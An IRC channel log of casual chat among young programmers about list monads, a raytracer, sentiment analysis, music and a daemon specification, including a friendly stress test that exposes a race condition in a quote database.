[2015-02-07T00:53:45-0500] <+LittleBobbyTables> yeah
[2015-02-07T00:53:48-0500] <+LittleBobbyTables> facebookcorewwwi
[2015-02-07T00:53:51-0500] <calc0000> ah crap
[2015-02-07T00:53:54-0500] <calc0000> wrong channel again
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[2015-02-07T00:56:23-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-06T22:39:18-0500] <+awe> still hi tho
[2015-02-06T22:40:17-0500] <+hardmath123> hey JacobEdelman 
[2015-02-06T22:40:26-0500] <JacobEdelman> yes?
[2015-02-06T22:40:39-0500] <+hardmath123> nothing, just a generic "hi".
[2015-02-06T22:40:41-0500] <+hardmath123> :P
[2015-02-06T22:47:10-0500] <+hardmath123> http://tilde.town/~kc/pdgn-graph.svg [now only displays users that have talked]
[2015-02-06T22:51:59-0500] <calc0000> i found me!
[2015-02-06T22:52:00-0500] <calc0000> cool!
[2015-02-06T22:52:20-0500] <+awe> hardmath123: much more useful.
[2015-02-06T22:52:35-0500] <+awe> hardmath123: why does everything get preceded by nick_?
[2015-02-06T22:54:26-0500] <+awe> bob_twinkles: oh, man. I'm really struggling with this one.
[2015-02-06T22:54:34-0500] <+awe> bob_twinkles: make a list of all possible codes of length n.
[2015-02-06T22:54:42-0500] <bob_twinkles> uh
[2015-02-06T22:54:44-0500] <+awe> It shouldn't be that hard.
[2015-02-06T22:54:47-0500] <bob_twinkles> IIRC there's a builtin function for that
[2015-02-06T22:55:00-0500] <+awe> Are you thinking of permutations?
[2015-02-06T22:55:04-0500] <bob_twinkles> yeah
[2015-02-06T22:55:17-0500] <bob_twinkles> oh, that's not quite right though is it
[2015-02-06T22:55:20-0500] <+awe> Yeah.
[2015-02-06T22:56:54-0500] <+awe> The general idea would be to perform the following action n times: take a list of codes and append to it every single code already in it but with each possible color added.
[2015-02-06T22:57:03-0500] <+awe> bob_twinkles: I'm just getting stuck on doing that programmatically.
[2015-02-06T22:57:33-0500] <+hardmath123> awe: i have no idea
[2015-02-06T22:57:45-0500] <+awe> hardmath123: pls get rid of it
[2015-02-06T22:58:08-0500] <+hardmath123> awe: fixed.
[2015-02-06T22:59:09-0500] <bob_twinkles> hmm, google says there's an easy way to do it if you take advantage of the fact that [] is a monad
[2015-02-06T22:59:20-0500] <bob_twinkles> my brain will not form the words to explain how/why it works though
[2015-02-06T22:59:38-0500] <+awe> Well, I know that monads can be used to represent possibility abstractly.
[2015-02-06T23:01:14-0500] <+awe> I'm sure I'm thinking too hard about this.
[2015-02-06T23:01:16-0500] <bob_twinkles> I think the idea is that the definition of bind (>>=) in the list monad is the cartesian product
[2015-02-06T23:01:28-0500] <bob_twinkles> #bigwords
[2015-02-06T23:03:20-0500] <+awe> This is pain.
[2015-02-06T23:45:22-0500] <+awe> bob_twinkles: I'm still struggling with this.
[2015-02-06T23:45:29-0500] <+awe> I did take a break though.
[2015-02-07T00:06:03-0500] <+LittleBobbyTables> facebooks onion address is so easy to remember.
[2015-02-07T00:07:32-0500] <+awe> Facebook has an onion address?
[2015-02-07T00:11:12-0500] <assface> ^
[2015-02-07T00:23:29-0500] <calc0000> awe http://www.myfoxny.com/story/28039861/manhattan-real-estate
[2015-02-07T00:23:35-0500] <calc0000> "The average Manhattan home price is now over $1.7 million."
[2015-02-07T00:23:40-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:14-0500] <calc0000> awe http://www.telegraph.co.uk/news/worldnews/middleeast/qatar/11397078/300m-Gauguin-becomes-most-expensive-work-of-art-of-all-time.html
[2015-02-07T00:24:16-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:33-0500] <calc0000> awe http://www.wsj.com/articles/chinese-insurer-to-buy-new-yorks-baccarat-hotel-at-record-valuation-1423237592
[2015-02-07T00:24:35-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:46-0500] <calc0000> oh shoot this is the other channel
[2015-02-07T00:24:55-0500] <calc0000> eh close enough
[2015-02-07T00:52:04-0500] <calc0000> lol spammer on #rust
[2015-02-07T00:53:44-0500] <+LittleBobbyTables> yeah
[2015-02-07T00:53:48-0500] <+LittleBobbyTables> facebookcorewwwi
[2015-02-07T00:53:50-0500] <calc0000> ah crap
[2015-02-07T00:53:54-0500] <calc0000> wrong channel again
[2015-02-07T00:56:25-0500] Mode is +nt
[2015-02-07T01:09:21-0500] <+awe> calc0000: wow, fucking fyrechat is so unstable
[2015-02-07T01:09:36-0500] <+LittleBobbyTables> nou
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[2015-02-07T02:32:02-0500] <assface> *sigh*
[2015-02-07T02:32:19-0500] <assface> I really need to get better about checking my syntax as I go, this is ridiculous
[2015-02-07T02:32:33-0500] <bob_twinkles> syntastic!
[2015-02-07T02:43:14-0500] <bob_twinkles> geometry 3 hard 5 me
[2015-02-07T02:43:22-0500] <bob_twinkles> http://imgur.com/Dgwz8ew that curved checker thingy is supposed to be a plane
[2015-02-07T03:14:14-0500] <bob_twinkles> ahhhh http://imgur.com/b0Faxn6
[2015-02-07T03:15:28-0500] <assface> n8ice shaders bruh
[2015-02-07T03:15:43-0500] <bob_twinkles> CPU-side raycaster tyvm
[2015-02-07T03:15:55-0500] <assface> it shows....
[2015-02-07T03:16:10-0500] <bob_twinkles> lol
[2015-02-07T03:16:15-0500] <assface> seriously though there's some funkiness on the edges
[2015-02-07T03:16:30-0500] <bob_twinkles> right now the shading model is just a crappy implementation of phong shading
[2015-02-07T03:16:35-0500] <bob_twinkles> and yeah, I know
[2015-02-07T03:16:47-0500] <bob_twinkles> I think it's FP precision issues but I'm not fixing that now
[2015-02-07T03:16:52-0500] <bob_twinkles> fr!ckn 3 in the morning
[2015-02-07T03:17:29-0500] <assface> yeah it looks like the kind of thing that happens when you use an STL's trig implementations
[2015-02-07T03:18:08-0500] <bob_twinkles> 's not trig, just a (1 / small number) I think
[2015-02-07T03:18:16-0500] <assface> oh
[2015-02-07T03:18:42-0500] <assface> well im tired
[2015-02-07T03:18:43-0500] <assface> 'night
[2015-02-07T03:19:15-0500] <bob_twinkles> 'night
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[2015-02-07T10:52:02-0500] <alokpathy> JacobEdelman: has rearrived.
[2015-02-07T10:58:01-0500] <+hardmath123> :P
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[2015-02-07T12:26:50-0500] <JacobEdelman> alokpathy: nice :P
[2015-02-07T12:30:49-0500] <apothy> Who is this alokpathy you speak of?
[2015-02-07T12:33:03-0500] <JacobEdelman> .... too many "a.*p.*thy"s
[2015-02-07T12:33:08-0500] <JacobEdelman> solution: eliminate one of them
[2015-02-07T12:33:27-0500] <JacobEdelman> regrettably, alokpathies little brother was not at the science fair and neither way alokpathy
[2015-02-07T12:33:47-0500] <+awe> apothy is alokpathy on IRCCloud.
[2015-02-07T12:40:39-0500] <+hardmath123> so... using constraint solvers to do my balance-these-five-billion-equations chem homework. overkill or awesomeness?
[2015-02-07T12:44:02-0500] <+awe> Both!
[2015-02-07T12:56:31-0500] <JacobEdelman> hardmath123: awesomeness!
[2015-02-07T13:24:34-0500] <alokpathy> hardmath123: woooooo
[2015-02-07T13:26:05-0500] <JacobEdelman> pop quiz: where did I get the word "rearrived" from?
[2015-02-07T13:27:58-0500] <alokpathy> Oh dear notn a pop quiz.
[2015-02-07T13:36:20-0500] <bob_twinkles> there is no such thing as overkill, only open fire and time to reload
[2015-02-07T13:39:16-0500] <+LittleBobbyTables> He changed his name to apothy ^_^
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[2015-02-07T13:55:17-0500] <alokpathy> LittleBobbyTables: Just for you <3
[2015-02-07T13:55:28-0500] <+LittleBobbyTables> <3
[2015-02-07T14:02:57-0500] <Coast> can you give me more music that's like this: https://www.youtube.com/watch?v=uHJyAZtRrOY ?
[2015-02-07T14:12:16-0500] <JacobEdelman> Coast: no idea, but I enjoy the music
[2015-02-07T14:12:27-0500] <JacobEdelman> Coast: (I just listened to it)
[2015-02-07T14:13:56-0500] <JacobEdelman> awe: voice me?
[2015-02-07T14:15:18-0500] <JacobEdelman> I'll prove I'm me
[2015-02-07T14:15:40-0500] <JacobEdelman> https://www.irccloud.com/pastebin/PKjwGLqW
[2015-02-07T14:15:45-0500] <JacobEdelman> https://www.irccloud.com/pastebin/fNAPWpFs
[2015-02-07T14:16:02-0500] <JacobEdelman> oh,oops, sent twice, (irccloud changed how they did pastebins apparnetelly)
[2015-02-07T14:22:43-0500] awe sets mode +v JacobEdelman
[2015-02-07T14:22:45-0500] <+awe> ✖ admin of jacobedelman.com via HTTP: http://jacobedelman.com/keybase.txt (failed with code 201)
[2015-02-07T14:22:47-0500] <+awe> JacobEdelman: ^
[2015-02-07T14:22:50-0500] <+awe> JacobEdelman: you might want to fix that.
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[2015-02-07T14:58:54-0500] <+JacobEdelman> wait, what, oh...
[2015-02-07T14:59:00-0500] <+JacobEdelman> hmmm... yeah, I have no idea
[2015-02-07T14:59:02-0500] <+JacobEdelman> lemme check
[2015-02-07T14:59:39-0500] <+JacobEdelman> hmm... it might be herokus fault
[2015-02-07T14:59:44-0500] <+JacobEdelman> no wait
[2015-02-07T14:59:48-0500] <+JacobEdelman> its not on heroku...
[2015-02-07T14:59:54-0500] <+JacobEdelman> I have no idea why that fails
[2015-02-07T15:05:56-0500] <+awe> JacobEdelman: use the DNS verification
[2015-02-07T15:05:58-0500] <+awe> JacobEdelman: it's better.
[2015-02-07T15:14:02-0500] <+awe> hardmath123: can you point me to any resources on sentiment analysis?
[2015-02-07T15:16:06-0500] <+awe> [15:15:42]  <%Retep998>	awe: It would be nicer if it didn't arrange the nodes in a circle, but made them gravitate towards nodes they link highly with
[2015-02-07T15:16:06-0500] <+awe> [15:15:53]  <%Retep998>	also if it could group nicks that are the same person
[2015-02-07T15:16:10-0500] <+awe> hardmath123: forwarding on some feedback ^
[2015-02-07T15:17:01-0500] <+JacobEdelman> awe: you
[2015-02-07T15:17:11-0500] <+awe> JacobEdelman: ?
[2015-02-07T15:17:13-0500] <+JacobEdelman> awe: your vana group?
[2015-02-07T15:17:22-0500] <+awe> my vana group?
[2015-02-07T15:17:22-0500] <+awe> wat?
[2015-02-07T15:17:27-0500] <+awe> JacobEdelman: speak english, boyo.
[2015-02-07T15:17:34-0500] <+JacobEdelman> no
[2015-02-07T15:17:36-0500] <+JacobEdelman> I refuse
[2015-02-07T15:18:23-0500] <+awe> JacobEdelman: do you have any good resources about NPL I could look at?
[2015-02-07T15:18:30-0500] <+awe> NLP*
[2015-02-07T15:18:44-0500] <+awe> JacobEdelman: specifically, sentiment analysis and/or general natural language understanding stuff.
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[2015-02-07T16:38:56-0500] <+JacobEdelman> hmmm... yes
[2015-02-07T16:39:07-0500] <+JacobEdelman> first step towards going nlp: admit you have to use python
[2015-02-07T16:39:34-0500] <+JacobEdelman> this is supposed to be good: http://honnibal.github.io/spaCy/
[2015-02-07T16:39:47-0500] <bob_twinkles> grr
[2015-02-07T16:39:57-0500] <+JacobEdelman> assuming you want to learn it, the athor of that library has blogged about stuff on how to do it
[2015-02-07T16:40:11-0500] <bob_twinkles> my raycaster spends nearly half its time with the CPU in the "stalled" state =(
[2015-02-07T16:40:28-0500] <+JacobEdelman> awe: this specificaly https://honnibal.wordpress.com/2013/09/11/a-good-part-of-speechpos-tagger-in-about-200-lines-of-python/
[2015-02-07T16:40:44-0500] <+JacobEdelman> bob_twinkles: solution: hit your computer with a hammer
[2015-02-07T16:40:55-0500] <bob_twinkles> I'm 90% sure that would make it worse
[2015-02-07T16:41:08-0500] <+JacobEdelman> nah
[2015-02-07T16:41:13-0500] <+JacobEdelman> its a closely held secret
[2015-02-07T16:41:20-0500] <+JacobEdelman> that for the vast majority of computer problems
[2015-02-07T16:41:26-0500] <+JacobEdelman> hitting it with a hammer solves it
[2015-02-07T16:41:31-0500] <+JacobEdelman> it was discovred by charles babage
[2015-02-07T16:41:42-0500] <+JacobEdelman> and used extensiviely on the univac
[2015-02-07T16:41:49-0500] <bob_twinkles> that might have actually worked for his machines
[2015-02-07T16:41:50-0500] <+JacobEdelman> and was a key part of the Bombe machine for breaking enigma
[2015-02-07T16:42:18-0500] <bob_twinkles> unfortunatly modern superscalar pipelined CPUs are a bit more complex than a babbage difference engine
[2015-02-07T16:42:50-0500] <+JacobEdelman> it was also part of elaines nloglogn solution [http://xkcd.com/342/]
[2015-02-07T16:43:33-0500] <+JacobEdelman> and was used by adrian lamo to brake into the nbc security system
[2015-02-07T16:43:44-0500] <+JacobEdelman> *break
[2015-02-07T16:44:25-0500] <+JacobEdelman> hmm... awe: when is your the pdgn blog going up?
[2015-02-07T16:45:13-0500] <+JacobEdelman> I want to write an article on the rich historical lineage of banging your computer in order to fix it and how these days the major problem in computing is how people have developed these new, "flexible" solutions rather than just banging their computers
[2015-02-07T16:46:57-0500] <bob_twinkles> oh wait, it might be that this CPU is hyperthreaded
[2015-02-07T16:47:13-0500] <bob_twinkles> so it only gets the ALU half of the time
[2015-02-07T16:50:45-0500] <Hyper> bob_twinkles: ooh a ray tracer
[2015-02-07T16:50:48-0500] <Hyper> how fast is it?
[2015-02-07T16:52:08-0500] <bob_twinkles> 4247429.7693 rays per second, but the shading model and scene are _really_ simplistic right now
[2015-02-07T16:52:28-0500] <bob_twinkles> I'm pretty sure it's gonna get way slower by the time it does anything interesting =P
[2015-02-07T16:54:36-0500] <Hyper> heh
[2015-02-07T16:56:43-0500] <Hyper> Coast: you can get fairly similar things by looking into DnB or drumstep
[2015-02-07T16:56:52-0500] <Hyper> might be a bit faster though...
[2015-02-07T16:58:04-0500] <Hyper> for instance, https://www.youtube.com/watch?v=5sR-8gyYczE
[2015-02-07T16:58:47-0500] <Coast> thank you!
[2015-02-07T16:59:06-0500] <Hyper> again, it's faster overall, but similar style
[2015-02-07T17:00:02-0500] <Hyper> and now, for something completely different, https://www.youtube.com/watch?v=2rEuie5lpGA
[2015-02-07T17:02:00-0500] <Hyper> Coast: My favorite DnB track ever is probably https://www.youtube.com/watch?v=FmeEfDm5xiU, and that channel has a ton of good DnB
[2015-02-07T17:02:30-0500] • Hyper: drops the mic
[2015-02-07T17:06:16-0500] <Coast> you broke the mic
[2015-02-07T17:18:35-0500] <Hyper> the mic is mine to do with as I wish >:)
[2015-02-07T17:23:28-0500] <nezorg> Japan continues to be cool
[2015-02-07T17:23:32-0500] <nezorg> and very tasty
[2015-02-07T17:23:54-0500] <nezorg> unlike my time in Korea, I'm not just eating Western food xP
[2015-02-07T17:24:03-0500] <Hyper> nezorg: :D
[2015-02-07T17:24:09-0500] <Hyper> also wtf transmission wat r u doing http://i.imgur.com/EXgwpT5.png
[2015-02-07T17:24:23-0500] <nezorg> so far at all the restaurants we've visited no one has spoken English
[2015-02-07T17:24:41-0500] <Hyper> nezorg: have you said kawaii much?
[2015-02-07T17:24:47-0500] <Hyper> because if not you're doing it wrong
[2015-02-07T17:24:53-0500] <Hyper> according to all the anime i've watched
[2015-02-07T17:25:20-0500] <nezorg> lol
[2015-02-07T17:25:24-0500] <Hyper> clearly that's an accurate indicator of what life is like in japan, right?
[2015-02-07T17:25:30-0500] <nezorg> totally
[2015-02-07T17:25:34-0500] <Hyper> Don't tell me my fiction is... fake?!?
[2015-02-07T17:25:42-0500] <nezorg> well, maybe in akihabara it's right :P
[2015-02-07T17:25:50-0500] <Hyper> lel akihabara
[2015-02-07T17:25:54-0500] <nezorg> that place was a little strangle
[2015-02-07T17:25:56-0500] <nezorg> *strange
[2015-02-07T17:32:58-0500] <+awe> [16:39:07]  <+JacobEdelman>	first step towards going nlp: admit you have to use python
[2015-02-07T17:33:03-0500] <+awe> JacobEdelman: I was asking about resources to implement it.
[2015-02-07T17:33:09-0500] <+awe> JacobEdelman: I don't care about shitty Python libraries.
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[2015-02-07T18:43:44-0500] <+awe> JacobEdelman: the Pdgn blog will happen some time after I do the pdgn site.
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[2015-02-07T20:11:38-0500] <+ubuntor> layton sliding puzzles...
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[2015-02-07T20:59:11-0500] <+hardmath123> bob_twinkles: raytracers are soooo much fun!
[2015-02-07T20:59:45-0500] <+hardmath123> awe: sentiment analysis is literally just bayesian inference (like those venn diagram probabilities you were doing, with p(word in message))
[2015-02-07T21:00:08-0500] <+hardmath123> awe: also, I'm too lazy to go fix the graph-renderer, but that person wants, I can send them the source.
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[2015-02-07T21:17:39-0500] <JacobEdelman> so, i watching "Arrow"
[2015-02-07T21:17:54-0500] <JacobEdelman> and they just stopped an illegal shipment of RPGs
[2015-02-07T21:18:19-0500] <JacobEdelman> ... sadly, the rocket propelled grenade type, not the cool type
[2015-02-07T21:19:13-0500] <+awe> hardmath123: that's not entirely true.
[2015-02-07T21:19:19-0500] <+awe> hardmath123: but yeah, I guess that'd probably work good enough.
[2015-02-07T21:19:30-0500] <+awe> note: I purposefully said good and not well ther.
[2015-02-07T21:19:31-0500] <+awe> there*
[2015-02-07T21:23:11-0500] <JacobEdelman> wait, what did I know?
[2015-02-07T21:23:15-0500] <JacobEdelman> *did I miss
[2015-02-07T21:23:23-0500] <JacobEdelman> (4 letter typos ftw)
[2015-02-07T21:23:26-0500] <+hardmath123> awe wants to do sentiment analysis
[2015-02-07T21:24:01-0500] <+hardmath123> awe: http://hastebin.com/agojicuyih (using an API)
[2015-02-07T21:24:30-0500] <+hardmath123> this was what i used to do sentiment analysis on an IRC channel
[2015-02-07T21:24:32-0500] <+awe> Boring though.
[2015-02-07T21:24:39-0500] <JacobEdelman> ah.... theres something on npm for that
[2015-02-07T21:24:41-0500] <+awe> I don't want to use an API.
[2015-02-07T21:24:45-0500] <+awe> I want to implement the analysis.
[2015-02-07T21:24:48-0500] <+hardmath123> well it did tell me that most messages mentioning me are negative :(
[2015-02-07T21:25:09-0500] <+hardmath123> implementing it shouldn't be hard, the annoying part will be training it.
[2015-02-07T21:25:31-0500] <+hardmath123> also, quick relevant story time!
[2015-02-07T21:25:45-0500] <+hardmath123> on Scratch, you can create "galleries", which are collections of projects uploaded to the website
[2015-02-07T21:25:59-0500] <+hardmath123> people try to make galleries that contain all projects
[2015-02-07T21:26:07-0500] <+hardmath123> just for fun
[2015-02-07T21:26:23-0500] <+awe> hardmath123: yeah, but the point is I was looking for some information on implementing them.
[2015-02-07T21:26:34-0500] <+hardmath123> so we wrote a node program that automatically added all 5 million projects to a gallery
[2015-02-07T21:26:43-0500] <+hardmath123> except, we didn't realize that that would annoy/offend some people
[2015-02-07T21:26:52-0500] <+hardmath123> so a lot of people got mad and wanted out
[2015-02-07T21:27:06-0500] <+hardmath123> so we ran sentiment analysis on all the comments and removed projects from angry people :D
[2015-02-07T21:27:12-0500] <+awe> Hah.
[2015-02-07T21:27:14-0500] <+awe> That's funny.
[2015-02-07T21:28:13-0500] <+hardmath123> JacobEdelman: so wait, are you implementing a hamelind for nodejs or not?
[2015-02-07T21:28:31-0500] <JacobEdelman> hardmath123: what, I should? 
[2015-02-07T21:28:55-0500] <+hardmath123> JacobEdelman: I was hoping you would :P
[2015-02-07T21:29:24-0500] <JacobEdelman> oh. maybe
[2015-02-07T21:29:40-0500] <JacobEdelman> I'll add it to the list of things I should do
[2015-02-07T21:30:53-0500] <+awe> hardmath123: no offense, but I still don't see the point of it at all.
[2015-02-07T21:31:17-0500] <JacobEdelman> hardmath123: (should that be above or below water ski-ing, upside down, in space?)
[2015-02-07T21:31:47-0500] <JacobEdelman> (which is already 3 places above getting good grades in school)
[2015-02-07T21:31:59-0500] <+hardmath123> awe: point of what? hamelin in js?
[2015-02-07T21:32:00-0500] <JacobEdelman> (I have messed up priorities)
[2015-02-07T21:32:02-0500] <+awe> hamelin period.
[2015-02-07T21:32:56-0500] <+hardmath123> hamelin is useful for quickly making portable scripts without worrying about interface
[2015-02-07T21:33:12-0500] <+hardmath123> the temporary QDB runs on like 5 lines of code and a hamelin daemon
[2015-02-07T21:36:27-0500] <+awe> isn't there already something that does basically that?
[2015-02-07T21:36:46-0500] <+hardmath123> no, there actually isn't
[2015-02-07T21:37:18-0500] <assface> mmmm... burrito
[2015-02-07T21:37:26-0500] <+hardmath123> i mean, `netcat` can simulate the TCP socket daemon (missing a few features), but that's it
[2015-02-07T21:37:51-0500] <+hardmath123> there isn't a thing to do IRC, for example
[2015-02-07T21:38:03-0500] <bob_twinkles> nothing you can fix with a bit of bash scripting
[2015-02-07T21:38:07-0500] <bob_twinkles> *can't fix
[2015-02-07T21:39:28-0500] <+hardmath123> false
[2015-02-07T21:40:08-0500] <bob_twinkles> disowned netcat to a named pipe, run through awk
[2015-02-07T21:40:19-0500] <bob_twinkles> well, xxd | awk | xxd -d probably
[2015-02-07T21:40:46-0500] <+hardmath123> still won't tell you which IP connected
[2015-02-07T21:41:03-0500] <+hardmath123> besides, the point is to *avoid* having to parse the IRC protocol yourself
[2015-02-07T21:41:04-0500] <bob_twinkles> grep the output of lsof
[2015-02-07T21:41:14-0500] <bob_twinkles> and netstat
[2015-02-07T21:41:34-0500] <+hardmath123> or hook up a video camera in front of your screen and do OCR on terminal output
[2015-02-07T21:41:51-0500] <bob_twinkles> see, now you're thinking along the right lines!
[2015-02-07T21:47:15-0500] <+awe> I don't see how your thing does anything about IRC.
[2015-02-07T21:47:39-0500] <+hardmath123> it doesn't, yet, because nobody's implemented it
[2015-02-07T21:48:00-0500] <+awe> Oh.
[2015-02-07T21:48:02-0500] <+awe> I get it.
[2015-02-07T21:48:02-0500] <+awe> Okay.
[2015-02-07T21:48:05-0500] <+hardmath123> correction -- someone's implemented it, it hasn't been git pulled into master because the implementor has vansied.
[2015-02-07T21:48:15-0500] <+hardmath123> in his defense, he was sick and had mounds of homework.
[2015-02-07T21:48:57-0500] <+awe> So, basically, the idea is it's like protocat.
[2015-02-07T21:49:18-0500] <+awe> You can write a number of *cat things.
[2015-02-07T21:49:23-0500] <+awe> your TCP one is netcat
[2015-02-07T21:49:28-0500] <+awe> you could also write irccat
[2015-02-07T21:49:37-0500] <+awe> and so on
[2015-02-07T21:50:36-0500] <+hardmath123> yes, except calling it netcat and irccat makes it sound like a client even though it's actually a daemon.
[2015-02-07T21:50:57-0500] <+hardmath123> well, not exactly
[2015-02-07T21:51:05-0500] <+awe> I think I get the general idea though.
[2015-02-07T21:51:07-0500] <+hardmath123> yeah
[2015-02-07T21:51:21-0500] <+awe> Now time to break it.
[2015-02-07T21:51:33-0500] <+hardmath123> lol
[2015-02-07T21:51:47-0500] <+hardmath123> hackers have an uncontrollable urge to look down upon novel ideas
[2015-02-07T21:52:02-0500] <+awe> Nah, I just think it'll be fun to smash the quote db one, for example.
[2015-02-07T22:01:35-0500] <+awe> hardmath123: go try to add something to the qdb right now.
[2015-02-07T22:02:53-0500] <+hardmath123> Yikes.
[2015-02-07T22:03:06-0500] <+hardmath123> You got shell?
[2015-02-07T22:03:11-0500] <+awe> N.
[2015-02-07T22:03:41-0500] <+awe> But you'll notice that most of the writes are failing.
[2015-02-07T22:03:52-0500] <+hardmath123> Yes.
[2015-02-07T22:03:55-0500] <+hardmath123> No.
[2015-02-07T22:03:58-0500] <+hardmath123> Writes aren't failing.
[2015-02-07T22:04:12-0500] <+awe> It's writing blank, even though it shouldn't be.
[2015-02-07T22:04:18-0500] <+hardmath123> But the qdb is filled with like hundreds of empty messages.
[2015-02-07T22:04:23-0500] <+awe> Yes.
[2015-02-07T22:04:26-0500] <+hardmath123> Which could just be you running a loop that keeps adding them.
[2015-02-07T22:04:31-0500] <+awe> It's not just adding blanks.
[2015-02-07T22:04:35-0500] <+awe> It's trying to add messages.
[2015-02-07T22:04:43-0500] <+awe> But none of them get written because they're all coming in at once.
[2015-02-07T22:04:46-0500] <+hardmath123> Oh.
[2015-02-07T22:04:49-0500] <+hardmath123> Race conditions.
[2015-02-07T22:04:51-0500] <+awe> Yes.
[2015-02-07T22:04:56-0500] <+hardmath123> I was lazy with my locking mechanisms.
[2015-02-07T22:05:02-0500] <+awe> Don't be. :p
[2015-02-07T22:05:09-0500] <+hardmath123> How?
[2015-02-07T22:05:27-0500] <+awe> How do you not be lazy?
[2015-02-07T22:05:46-0500] <+hardmath123> As in, how do I fix the problem?
[2015-02-07T22:05:51-0500] <+hardmath123> (Also, kill your bot. I get the point.)
[2015-02-07T22:06:02-0500] <+awe> I'm not sure.
[2015-02-07T22:06:08-0500] <+awe> I'm not sure there's an easy way to.
[2015-02-07T22:06:18-0500] <+awe> It was just an immediate problem I saw.
[2015-02-07T22:06:32-0500] <+hardmath123> I mean, using database software would fix this, right?
[2015-02-07T22:06:42-0500] <+awe> Maybe.
[2015-02-07T22:06:45-0500] <+hardmath123> Databases handle concurrency with aplomb.
[2015-02-07T22:06:58-0500] <+awe> Transactional insertions might alleviate the problem entirely.
[2015-02-07T22:07:13-0500] <+hardmath123> Currently I'm opening the file in append mode and writing.
[2015-02-07T22:07:15-0500] <+hardmath123> That is bad.
[2015-02-07T22:07:15-0500] <+awe> But I'm not sure you can do that with the way you're managing things.
[2015-02-07T22:07:26-0500] <+awe> Maybe you cna.
[2015-02-07T22:07:27-0500] <+awe> can*
[2015-02-07T22:07:49-0500] <+hardmath123> Anyhow, this is sort of not the ideal use-case for hamelin anyway, because it's not supposed to care about IPC.
[2015-02-07T22:07:53-0500] <+hardmath123> but yeah
[2015-02-07T22:08:54-0500] <+awe> code, by the way, http://sprunge.us/DLdb
[2015-02-07T22:09:37-0500] <+awe> Without the sleep, it dies because trying to make too many threads.
[2015-02-07T22:19:40-0500] <+awe> hardmath123: I don't really understand how hamelin is a daemon.
[2015-02-07T22:23:13-0500] <+awe> hardmath123: you need to work on your spec writing.
[2015-02-07T22:23:35-0500] <+awe> hardmath123: hamelin.py isn't a daemon, it's an interface describing what a daemon looks like.
[2015-02-07T22:23:45-0500] <+awe> hardmath123: "The hamelin command runs a daemon process."
[2015-02-07T22:29:09-0500] <+hardmath123> hamelin is a specification
[2015-02-07T22:29:22-0500] <+hardmath123> hamelin.py and hamelin-net.py is a reference implementation
[2015-02-07T22:29:33-0500] <+awe> but hamelin.py isn't a reference implementation at all.
[2015-02-07T22:29:39-0500] <+hardmath123> (I've never written a spec before.)
[2015-02-07T22:29:41-0500] <+awe> It's a library for helping to implement an implementation.
[2015-02-07T22:29:52-0500] <+hardmath123> sure
[2015-02-07T22:29:58-0500] <+hardmath123> (aside: see https://github.com/Hardmath123/hamelin/blob/master/diagram.pdf)
[2015-02-07T22:30:32-0500] <+awe> The server isn't really a server either.
[2015-02-07T22:30:35-0500] <+awe> It's more like a command.
[2015-02-07T22:30:53-0500] <+hardmath123> yeah, but i had to pick a name
[2015-02-07T22:30:59-0500] <+awe> Okay, I'll write one in Rust.
[2015-02-07T22:31:01-0500] <+awe> I think I get it.
[2015-02-07T22:31:12-0500] <+hardmath123> besides, there are plenty of serverey uses (think: MUDs)
[2015-02-07T22:31:15-0500] <+awe> If I do it right, I'll help you write a better spec.
[2015-02-07T22:31:15-0500] <+hardmath123> sweeeet
[2015-02-07T22:31:19-0500] <+hardmath123> :D
[2015-02-07T22:31:29-0500] <+awe> I'll do a TCP and SSL one.
[2015-02-07T22:31:50-0500] <+hardmath123> that turned out to be very nontrivial to do in python because line-buffering
[2015-02-07T22:31:55-0500] <+awe> Very easy to do in Rust.
[2015-02-07T22:32:02-0500] <+hardmath123> it's not obvious when you can read from a stream
[2015-02-07T22:32:24-0500] <+hardmath123> ...is it?
[2015-02-07T22:32:43-0500] <+awe> Yeah.
[2015-02-07T22:33:09-0500] <+awe> Well, maybe it's less trivial with servers.
[2015-02-07T22:33:18-0500] <+awe> But it's super trivial from a connection standpoint. I haven't tried with servers yet.
[2015-02-07T22:33:26-0500] <+hardmath123> yeah, the socket is easy
[2015-02-07T22:33:36-0500] <+awe> s/connection/client
[2015-02-07T22:33:37-0500] <+hardmath123> the hard part is knowing when your subprocess has outputted something
[2015-02-07T22:33:56-0500] <+awe> Wait. I'm confused.
[2015-02-07T22:34:03-0500] <+awe> What turned out to be very nontrivial in Python?
[2015-02-07T22:34:09-0500] <+awe> I thought you meant implementing an SSL one.
[2015-02-07T22:34:12-0500] <+awe> I think I thought wrong though.
[2015-02-07T22:34:19-0500] <+hardmath123> the hard part is
[2015-02-07T22:34:40-0500] <+hardmath123> knowing when a process's stdout has material for you to read, and if so, reading the right amount
[2015-02-07T22:34:54-0500] <+hardmath123> this is hard, because buffering gets in the way
[2015-02-07T22:35:05-0500] <+awe> It has to be line-buffered, right?
[2015-02-07T22:35:09-0500] <+hardmath123> if you're not careful, your program will hang waiting for stdout data that never happens
[2015-02-07T22:35:15-0500] <+awe> So, you just stick stdout in a buffered reader and read a line.
[2015-02-07T22:35:18-0500] <+hardmath123> yes. line-buffered; no binary data pls.
[2015-02-07T22:43:28-0500] <+awe> hardmath123: the part I'm confused about is the environment variables, msotly.
[2015-02-07T22:43:29-0500] <+awe> mostly*
[2015-02-07T22:43:54-0500] <+awe> Actually, nevermind.
[2015-02-07T22:44:38-0500] <+hardmath123> environment variables are sort of a hack. i sort of don't want to include them, because a server should be agnostic towards the daemon calling it
[2015-02-07T22:44:58-0500] <+hardmath123> but i feel there are edge-cases where they might be handy
[2015-02-07T22:45:16-0500] <+hardmath123> so they're there as a backwards-compatible means of adding functionality if needed
[2015-02-07T22:48:02-0500] <+awe> Ok.
[2015-02-07T22:48:04-0500] <+awe> Fair enough.
[2015-02-07T22:50:38-0500] <+awe> hardmath123: do you spawn a new thread for each connection?
[2015-02-07T22:51:23-0500] <+hardmath123> awe: *I* do in the python implementation. But it's not in the spec.
[2015-02-07T22:51:27-0500] <+awe> I was just curious.
[2015-02-07T22:51:37-0500] <+awe> I'm probably going to write it that way at first, and then replace it with an event loop.
[2015-02-07T22:54:33-0500] <+awe> hardmath123: also, for the record, totally not scalable.
[2015-02-07T22:55:03-0500] <+hardmath123> Agreed.
[2015-02-07T22:55:25-0500] <+awe> If I had done my script using green threads and not had to use the sleep
[2015-02-07T22:55:27-0500] <+awe> You would've gotten shrekt.
[2015-02-07T22:55:55-0500] <+hardmath123> Yeah.
